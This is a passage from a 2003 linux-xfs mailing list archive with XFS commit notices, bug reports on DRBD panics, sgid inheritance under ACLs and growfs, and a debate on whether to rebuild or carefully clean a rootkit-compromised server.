linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 934 Lines: 38 Implement several additional inode flags - immutable, append-only, etc; contributed by Ethan Benson. xfsprogs and xfstests update coming shortly, and re-read Ethan's mail on linux-xfs if you wish to use these, the xfsdump caveat still applies. cheers. Date: Sun Sep 14 22:03:19 PDT 2003 Workarea: snort.melbourne.sgi.com:/home/nathans/xfs-linux Undoes mod: xfs-linux:slinx:158358a The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-linux Modid: xfs-linux:slinx:158362a xfsidbg.c - 1.238 xfs_ialloc.c - 1.172 xfs_vnodeops.c - 1.608 xfs_fs.h - 1.14 xfs_itable.c - 1.118 xfs_cap.c - 1.17 xfs_acl.c - 1.47 xfs_inode.c - 1.386 xfs_dinode.h - 1.68 dmapi/dmapi_xfs.c - 1.17 dmapi/dmapi.h - 1.7 linux/xfs_ioctl.c - 1.96 linux/xfs_globals.c - 1.58 linux/xfs_linux.h - 1.111 linux/xfs_vnode.c - 1.119 linux/xfs_super.c - 1.270 linux/xfs_iops.c - 1.198 linux/xfs_sysctl.c - 1.26 linux/xfs_sysctl.h - 1.19 From owner-linux-xfs@oss.sgi.com Sun Sep 14 22:12:41 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 22:12:44 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F5CfYa027828 for ; Sun, 14 Sep 2003 22:12:41 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8F5CXq0021367 for ; Sun, 14 Sep 2003 22:12:35 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8F5CAho004130 for ; Mon, 15 Sep 2003 15:12:10 +1000 Received: (from fsgqa@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8F5CAfI004129 for linux-xfs@oss.sgi.com; Mon, 15 Sep 2003 15:12:10 +1000 Date: Mon, 15 Sep 2003 15:12:10 +1000 From: FSG QA Message-Id: <200309150512.h8F5CAfI004129@bruce.melbourne.sgi.com> Subject: TAKE - xfstests X-archive-position: 410 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fsgqa@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 915 Lines: 35 Make bench script output clearer for people reading the output first thing in the morning. ;) Date: Mon Sep 8 18:50:09 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:158013a cmd/xfstests/bench - 1.24 cmd/xfstests/run.tar - 1.9 cmd/xfstests/common.dbench - 1.2 cmd/xfstests/run.bonnie_io - 1.4 cmd/xfstests/common.bonnie - 1.5 cmd/xfstests/run.bonnie_ops - 1.4 xfstests update - Ethans new inode flags test mainly. Date: Sun Sep 14 22:11:31 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/fsgqa/qa/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:158364a cmd/xfstests/079 - 1.1 cmd/xfstests/079.out - 1.1 cmd/xfstests/src/t_immutable.c - 1.1 cmd/xfstests/group - 1.42 cmd/xfstests/src/Makefile - 1.18 From owner-linux-xfs@oss.sgi.com Sun Sep 14 22:25:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 14 Sep 2003 22:25:57 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F5PZYa028982 for ; Sun, 14 Sep 2003 22:25:36 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8F5gvss026757 for ; Mon, 15 Sep 2003 00:42:58 -0500 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8F5P2ho004183 for ; Mon, 15 Sep 2003 15:25:02 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8F5P21s004182 for linux-xfs@oss.sgi.com; Mon, 15 Sep 2003 15:25:02 +1000 Date: Mon, 15 Sep 2003 15:25:02 +1000 From: Nathan Scott Message-Id: <200309150525.h8F5P21s004182@bruce.melbourne.sgi.com> Subject: TAKE - xfsprogs X-archive-position: 411 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1421 Lines: 51 xfsprogs update - added code for manipulating additional inode flags, fix up some logprint bugs (minor), allow growfs to work on device/path now. Date: Sun Sep 14 22:23:16 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/nathans/isms/devel26 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: xfs-cmds:slinx:158363a cmd/xfsprogs/db/frag.c - 1.13 - Add some missing frag command flags in usage message. cmd/xfsprogs/VERSION - 1.88 cmd/xfsprogs/doc/CHANGES - 1.126 cmd/xfsprogs/debian/changelog - 1.81 - bump version, document changes. cmd/xfsprogs/doc/CREDITS - 1.15 - Add Ethan Bensons details as an XFS contributor. cmd/xfsprogs/mkfs/xfs_mkfs.c - 1.51 - Fix an error message with some whacko grammar. cmd/xfsprogs/logprint/logprint.c - 1.12 - Fix a broken assert on large filesystems. cmd/xfsprogs/logprint/log_misc.c - 1.13 - Fix a core dump on a bad log. cmd/xfsprogs/include/xfs_fs.h - 1.26 - Update to current kernel version with additional inode flags. cmd/xfsprogs/repair/globals.h - 1.11 cmd/xfsprogs/repair/xfs_repair.c - 1.15 - Remove test mode, proved not useful in repair. cmd/xfsprogs/growfs/explore.c - 1.4 - Allow the device to be used instead of the mount point (someone complained ;). cmd/xfsprogs/po/xfsprogs.pot - 1.9 - Update xfsprogs messages. cmd/xfsprogs/io/open.c - 1.9 - Add code for manipulating additional inode flags. From owner-linux-xfs@oss.sgi.com Mon Sep 15 08:18:11 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 15 Sep 2003 08:18:25 -0700 (PDT) Received: from mailserver.globalintech.pl (ip126.globalintech.pl [62.89.81.126]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FFI8Ya028953 for ; Mon, 15 Sep 2003 08:18:10 -0700 Received: from ima.pl ([172.16.148.48]) by mailserver.globalintech.pl with Microsoft SMTPSVC(5.0.2195.6713); Mon, 15 Sep 2003 17:18:06 +0200 Message-ID: <3F65D82E.6020205@ima.pl> Date: Mon, 15 Sep 2003 17:18:06 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030718 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: drbd, xfs - kernel panic Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Sep 2003 15:18:06.0405 (UTC) FILETIME=[90635750:01C37B9C] X-archive-position: 412 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tb670725@ima.pl Precedence: bulk X-list: linux-xfs Content-Length: 480 Lines: 17 Greetings, I'm trying to use drbd and xfs on rh9 with kernel 2.4.22. Drbd is 0.7, xfs is latest for this kernel version. I have problem. When I set up drbd device and try to use xfs to make fs, mount, do some activity it works well until drbd is not connected to second node. When connected it fails with kernel panic (Aiee, interrupt...). Why this happens ? Whats wrong in my configuration ? I have tried wit other fs types and these issues doesnt occur. Regards, Blizbor From owner-linux-xfs@oss.sgi.com Mon Sep 15 08:30:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 15 Sep 2003 08:30:50 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FFUXYa032560 for ; Mon, 15 Sep 2003 08:30:34 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8FDX5OO005813 for ; Mon, 15 Sep 2003 06:33:05 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8FFURcc11642591; Mon, 15 Sep 2003 10:30:27 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8FFURK1322897; Mon, 15 Sep 2003 10:30:27 -0500 (CDT) Subject: Re: drbd, xfs - kernel panic From: Eric Sandeen To: "Blizbor (IMA)" Cc: linux-xfs@oss.sgi.com In-Reply-To: <3F65D82E.6020205@ima.pl> References: <3F65D82E.6020205@ima.pl> Content-Type: text/plain Organization: Message-Id: <1063639826.1392.19.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 15 Sep 2003 10:30:27 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 413 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1027 Lines: 34 I don't think anyone here has ever tested with drbd - in fact I had to google to see what it is. :) more information please, "kernel panics, what is wrong?" isn't enough to go on. At a minimum, a decoded oops would help. If you want to be sure the bug doesn't get lost, please file it in Bugzilla. (oss.sgi.com/bugzilla) Thanks, -Eric On Mon, 2003-09-15 at 10:18, Blizbor (IMA) wrote: > Greetings, > > I'm trying to use drbd and xfs on rh9 with kernel 2.4.22. > Drbd is 0.7, xfs is latest for this kernel version. > > I have problem. When I set up drbd device and try to use xfs to make fs, > mount, do some activity > it works well until drbd is not connected to second node. > When connected it fails with kernel panic (Aiee, interrupt...). > > Why this happens ? Whats wrong in my configuration ? I have tried wit > other fs types > and these issues doesnt occur. > > Regards, > Blizbor -- Eric Sandeen [C]XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Mon Sep 15 08:41:48 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 15 Sep 2003 08:42:04 -0700 (PDT) Received: from quasar.sif.it (IDENT:root@quasar.sif.it [131.154.110.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FFfiYa000719 for ; Mon, 15 Sep 2003 08:41:47 -0700 Received: from quasar.sif.it (IDENT:matteo@localhost [127.0.0.1]) by quasar.sif.it (8.12.9/SQL-8.12.9-5/8.12.9) with ESMTP id h8FFfeR7028645; Mon, 15 Sep 2003 17:41:40 +0200 Received: from localhost (matteo@localhost) by quasar.sif.it (8.12.9/SQL-8.12.9-5/8.12.9/Submit) with ESMTP id h8FFfewY028642; Mon, 15 Sep 2003 17:41:40 +0200 X-Authentication-Warning: quasar.sif.it: matteo owned process doing -bs Date: Mon, 15 Sep 2003 17:41:40 +0200 (CEST) From: Matteo Centonza To: "Blizbor (IMA)" cc: linux-xfs@oss.sgi.com Subject: Re: drbd, xfs - kernel panic In-Reply-To: <3F65D82E.6020205@ima.pl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 414 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: matteo@sif.it Precedence: bulk X-list: linux-xfs Content-Length: 816 Lines: 26 Hi, > I'm trying to use drbd and xfs on rh9 with kernel 2.4.22. > Drbd is 0.7, xfs is latest for this kernel version. > > I have problem. When I set up drbd device and try to use xfs to make fs, > mount, do some activity > it works well until drbd is not connected to second node. > When connected it fails with kernel panic (Aiee, interrupt...). > > Why this happens ? Whats wrong in my configuration ? I have tried wit > other fs types > and these issues doesnt occur. try asking to the drbd-devel list. Recent changes (latest 0.7-pre2) on the DRBD XFS front have solved the constant size I/O problem but XFS support it's still in the early stages and there's definitely something to chase down (i've had the same problem today). I cannot even mkfs when the network block device is connected. Ciao, -m From owner-linux-xfs@oss.sgi.com Mon Sep 15 09:27:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 15 Sep 2003 09:28:03 -0700 (PDT) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h8FGRaYa002404 for ; Mon, 15 Sep 2003 09:27:36 -0700 Received: (from xfs@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h8FGRaFc002403 for linux-xfs@oss.sgi.com; Mon, 15 Sep 2003 09:27:36 -0700 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h8FGRYYc002387 for ; Mon, 15 Sep 2003 09:27:35 -0700 Received: (from apache@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h8FFZUYf000543; Mon, 15 Sep 2003 08:35:30 -0700 Date: Mon, 15 Sep 2003 08:35:30 -0700 Message-Id: <200309151535.h8FFZUYf000543@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 280] New: still a bug in sgid inheritance with ACLs activated (I know about fs.xfs.irix_sgid_inherit) X-Bugzilla-Reason: AssignedTo X-archive-position: 415 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 2001 Lines: 59 http://oss.sgi.com/bugzilla/show_bug.cgi?id=280 Summary: still a bug in sgid inheritance with ACLs activated (I know about fs.xfs.irix_sgid_inherit) Product: Linux XFS Version: Current Platform: IA32 OS/Version: Linux Status: NEW Severity: major Priority: High Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: divotre@free.fr CC: divotre@free.fr Hi. First, I know XFS has a special behaviour with sgid inheritance that can be configured via a sysctl call (fs.xfs.irix_sgid_inherit..). By default, it has the linux behaviour of propagating sgid, and it works well. But I discovered a bug when ACLs are activated and are granting the permissions. Do this test (as a normal user, say user: dams, group: dams, with no special belonging to other groups): [dams]$ mkdir /tmp/test [dams]$ chmod g+s /tmp/test [dams]$ su - [root]# chown otheruser.othergroup /tmp/test (we put the dir in an other group that dams is not a member of, and change owner too: say lp.lp or whatever) [root]# chacl -b u::rwx,g::rwx,g:dams:rwx,o::---,m::rwx u::rwx,g::rwx,g:dams:rwx,o::---,m::rwx /tmp/test/ (grant permission to the group dams through ACL) [root]# exit [dams]$ mkdir /tmp/test/aaa (subdir creation is permitted to dams by the ACL) [dams]$ ls -l /tmp/test/ drwxrwx---+ 2 dams lp 1024 Sep 15 17:19 aaa You can see that SGID is lost. Group is well adjusted though, but if I create a dubdir to aaa/, the group is lost since SGID cannot make is role. I tested with ext3 and it works well, as expected the aaa dir has the sgid bit set and is inherited through all subdirs. I tested xfs 1.3.0 with kernel 2.4.21 and xfs 1.2.0 with kernel 2.4.18, and the bug is present in both versions. regards, Dams ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Sep 15 18:57:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 15 Sep 2003 18:58:02 -0700 (PDT) Received: from lips.thebarn.com (lips.borg.umn.edu [160.94.232.50]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G1vgYa011736 for ; Mon, 15 Sep 2003 18:57:43 -0700 Received: from [10.0.0.10] (c-24-118-121-167.mn.client2.attbi.com [24.118.121.167]) by lips.thebarn.com (8.12.9/8.12.9) with ESMTP id h8G1umJg040252 for ; Mon, 15 Sep 2003 20:57:00 -0500 (CDT) (envelope-from cattelan@thebarn.com) Subject: Testing the list From: Russell Cattelan To: linux-xfs@oss.sgi.com Content-Type: text/plain Message-Id: <1063677421.66911.14.camel@lupo.thebarn.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.3 Date: 15 Sep 2003 20:57:02 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 416 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs Content-Length: 500 Lines: 15 I appears a lot of people got unsubscribed from the list when their mail servers rejected the SoBig F virus (as well they should). The list software unsub's email address with to many failures and all the virus rejects were viewed as delivery failures. Anyways I added all the address back in that were removed on Sept 5 so if the list seem quiet over the last week or so check the archive for any missed posts. http://oss.sgi.com/projects/xfs/ml.html -- Russell Cattelan From owner-linux-xfs@oss.sgi.com Mon Sep 15 19:27:38 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 15 Sep 2003 19:27:56 -0700 (PDT) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h8G2RcYa012955 for ; Mon, 15 Sep 2003 19:27:38 -0700 Received: (from xfs@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h8G2RcJh012954 for linux-xfs@oss.sgi.com; Mon, 15 Sep 2003 19:27:38 -0700 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h8G2RaYc012939 for ; Mon, 15 Sep 2003 19:27:36 -0700 Received: (from apache@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h8G21k7r012316; Mon, 15 Sep 2003 19:01:46 -0700 Date: Mon, 15 Sep 2003 19:01:46 -0700 Message-Id: <200309160201.h8G21k7r012316@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 278] xfs_growfs crashes with kernel bug for negative grow sizes X-Bugzilla-Reason: AssignedTo X-archive-position: 417 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1316 Lines: 38 http://oss.sgi.com/bugzilla/show_bug.cgi?id=278 nathans@sgi.com changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |ASSIGNED Summary|xfs_growfs crashes with |xfs_growfs crashes with |kernel bug for negative grow|kernel bug for negative grow |sizes |sizes ------- Additional Comments From nathans@sgi.com 2003-15-09 19:01 PDT ------- > kernel BUG at filename.c:839! > invalid operand: 00000 .... Hmmm... there is no filename.c in the kernel... did you mean filemap.c? I don't see a BUG() call at line 839 in there. A kdb backtrace would be best if you can reproduce this. As to the signed thing, I'll tweak growfs so that it report errors. The kernel interface uses an unsigned value, and the kernel code does attempt to read at the end of the new size, before proceeding with the grow operation - in a quick test I just did this seems to be working as expected; doesn't allow me to grow a "negative" amount (i.e. to a large offset), just gives a syslog error. cheers. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Tue Sep 16 08:09:09 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 16 Sep 2003 08:09:31 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GF97Ya024469 for ; Tue, 16 Sep 2003 08:09:09 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 40ED032C9B; Tue, 16 Sep 2003 17:09:01 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id 0B04732CB5; Tue, 16 Sep 2003 17:09:00 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id 9DFDB11E2C; Tue, 16 Sep 2003 17:08:59 +0200 (CEST) Received: from 213.173.165.140 (proxying for 157.161.34.15) (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Tue, 16 Sep 2003 17:08:59 +0200 (CEST) Message-ID: <46483.213.173.165.140.1063724939.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <20030914214745.GD827@plato.local.lan> References: <20030914214745.GD827@plato.local.lan> Date: Tue, 16 Sep 2003 17:08:59 +0200 (CEST) Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 From: "Simon Matter" To: "Ethan Benson" Cc: linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8GF99Ya024474 X-archive-position: 418 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 1621 Lines: 39 No please. There are better solutions than mkfs in most situations. Why being so afraid about kernel modules and rootkit binaries? Boot from a CD like knoppix or similar. Then mount all filesystems and examine the system. First check whether your rpm database has been touched. A recent backup may help here. Then rpm is your friend by finding out which files have been modified. You can also find out which files have not been installed via rpm so you can check them manually. After identifying the affected files, replace them with clean ones. Finally, diffing the entire system against backups may improve your confidence. Now, it's time to fix the hole in your box before you put it into production again! Regards, Simon > oh please. if there are peices of rootkit on your box then whether > they installed it or not is IRRELEVANT, your box was compromised, > period. > > you cannot know what they did or did not do, your only responsible > recourse is a complete mkfs of all filesystems (i would dd the entire > disk with zeros) and a reinstall, then to audit your latest backup of > user data (do NOT restore ANY binaries). > > they could have installed a kernel module which will alter the > behavior of arbitrary tools WITHOUT replacing any binary on your > system, which means tripwire and the most expensive `antivirus' > software will NOT be able to help you. don't think that such a module > will show up in lsmod output either, or that its file is visible to > you on the filesystem. > > your box has been compromised, you need to rebuild it. > > -- > Ethan Benson > http://www.alaska.net/~erbenson/ > From owner-linux-xfs@oss.sgi.com Tue Sep 16 08:49:03 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 16 Sep 2003 08:49:21 -0700 (PDT) Received: from linux-sxs.org (d60-65-142-166.col.wideopenwest.com [65.60.166.142]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GFmgYa029115 for ; Tue, 16 Sep 2003 08:49:02 -0700 Received: from linux-sxs.org (localhost [127.0.0.1]) by linux-sxs.org (8.12.9/8.12.9) with ESMTP id h8GFSkUl030085; Tue, 16 Sep 2003 11:28:46 -0400 Received: from localhost (netllama@localhost) by linux-sxs.org (8.12.9/8.12.9/Submit) with ESMTP id h8GFSkmv006779; Tue, 16 Sep 2003 11:28:46 -0400 Date: Tue, 16 Sep 2003 11:28:46 -0400 (EDT) From: Net Llama! To: Simon Matter cc: Ethan Benson , linux-xfs@oss.sgi.com Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 In-Reply-To: <46483.213.173.165.140.1063724939.squirrel@imap01.ch.sauter-bc.com> Message-ID: References: <20030914214745.GD827@plato.local.lan> <46483.213.173.165.140.1063724939.squirrel@imap01.ch.sauter-bc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: OK, scanned by File::Scan,ClamAV X-Scanned-By: MIMEDefang 2.37 X-archive-position: 419 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 2148 Lines: 55 On Tue, 16 Sep 2003, Simon Matter wrote: > No please. There are better solutions than mkfs in most situations. Why > being so afraid about kernel modules and rootkit binaries? Boot from a CD > like knoppix or similar. Then mount all filesystems and examine the > system. First check whether your rpm database has been touched. A recent > backup may help here. Then rpm is your friend by finding out which files How do you know that you can trust your rpm binary? How do you know that you can trust your rpm database? How do you know that you can trust *anything* on the system? > have been modified. You can also find out which files have not been > installed via rpm so you can check them manually. After identifying the > affected files, replace them with clean ones. Finally, diffing the entire > system against backups may improve your confidence. How do you know if your backups are compromised as well? > Now, it's time to fix the hole in your box before you put it into > production again! > > Regards, > Simon > > > oh please. if there are peices of rootkit on your box then whether > > they installed it or not is IRRELEVANT, your box was compromised, > > period. > > > > you cannot know what they did or did not do, your only responsible > > recourse is a complete mkfs of all filesystems (i would dd the entire > > disk with zeros) and a reinstall, then to audit your latest backup of > > user data (do NOT restore ANY binaries). > > > > they could have installed a kernel module which will alter the > > behavior of arbitrary tools WITHOUT replacing any binary on your > > system, which means tripwire and the most expensive `antivirus' > > software will NOT be able to help you. don't think that such a module > > will show up in lsmod output either, or that its file is visible to > > you on the filesystem. > > > > your box has been compromised, you need to rebuild it. > > > > -- > > Ethan Benson > > http://www.alaska.net/~erbenson/ > > > > > -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lonni J Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo http://netllama.ipfox.com From owner-linux-xfs@oss.sgi.com Tue Sep 16 09:22:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 16 Sep 2003 09:22:57 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GGMYYa030930 for ; Tue, 16 Sep 2003 09:22:35 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id D90F232C9B; Tue, 16 Sep 2003 18:22:28 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id F3EA632CD1; Tue, 16 Sep 2003 18:22:27 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id 5DE8311E2C; Tue, 16 Sep 2003 18:22:27 +0200 (CEST) Received: from 213.173.165.140 (proxying for 157.161.34.15) (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Tue, 16 Sep 2003 18:22:27 +0200 (CEST) Message-ID: <46673.213.173.165.140.1063729347.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: References: <20030914214745.GD827@plato.local.lan> <46483.213.173.165.140.1063724939.squirrel@imap01.ch.sauter-bc.com> Date: Tue, 16 Sep 2003 18:22:27 +0200 (CEST) Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 From: "Simon Matter" To: "Net Llama!" Cc: "Ethan Benson" , linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8GGMaYa030935 X-archive-position: 420 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 3130 Lines: 82 > On Tue, 16 Sep 2003, Simon Matter wrote: >> No please. There are better solutions than mkfs in most situations. Why >> being so afraid about kernel modules and rootkit binaries? Boot from a >> CD >> like knoppix or similar. Then mount all filesystems and examine the >> system. First check whether your rpm database has been touched. A recent >> backup may help here. Then rpm is your friend by finding out which files > > How do you know that you can trust your rpm binary? How do you know that > you can trust your rpm database? How do you know that you can trust > *anything* on the system? You boot from CD. Then you can use rpm2cpio running from the CD and extract the rpm package which is installed on the target system. Diff all the files and you're sure your rpm binaries are okay. > >> have been modified. You can also find out which files have not been >> installed via rpm so you can check them manually. After identifying the >> affected files, replace them with clean ones. Finally, diffing the >> entire >> system against backups may improve your confidence. > > How do you know if your backups are compromised as well? No problem. I identify which files have been modified by the rootkit. Then I go back in the backups searching for when this file hase been changed. Now, I know which backup to use. Of course one has to work carefully when removing a rootkit. If you have a simple server like a NFS box or similar, you may be faster with the mkfs method. On very complex boxes, starting from the ground can cost too much time, at least much more than carefully identifying the compromised parts of the system and replacing them with clean ones. > >> Now, it's time to fix the hole in your box before you put it into >> production again! >> >> Regards, >> Simon >> >> > oh please. if there are peices of rootkit on your box then whether >> > they installed it or not is IRRELEVANT, your box was compromised, >> > period. >> > >> > you cannot know what they did or did not do, your only responsible >> > recourse is a 